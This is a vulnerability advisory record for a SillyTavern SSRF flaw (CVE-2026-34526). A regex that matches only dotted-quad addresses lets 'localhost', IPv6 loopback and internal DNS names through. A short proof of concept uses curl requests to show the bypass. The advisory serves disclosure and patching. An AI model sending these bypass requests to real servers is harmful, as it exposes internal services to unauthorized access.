{"id":"CVE-2026-34526","aliases":["GHSA-wm7j-m6jm-8797"],"url":"https://o3.security/vulnerability/CVE-2026-34526","summary":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","details":"### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -> 127.0.0.1)\n\nA separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked — dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://127.0.0.1/\", \"html\": true}'\n# Returns: 400 (blocked)\n\n# Bypassed — \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://localhost/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed — IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://[::1]/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation","published":"2026-04-02T17:16:55.897Z","modified":"2026-08-12T03:51:16.989852841Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"sillytavern","fixedVersion":"1.17.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34526.json"},{"type":"ADVISORY","url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34526"},{"type":"PACKAGE","url":"https://github.com/SillyTavern/SillyTavern"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.989852841Z"}}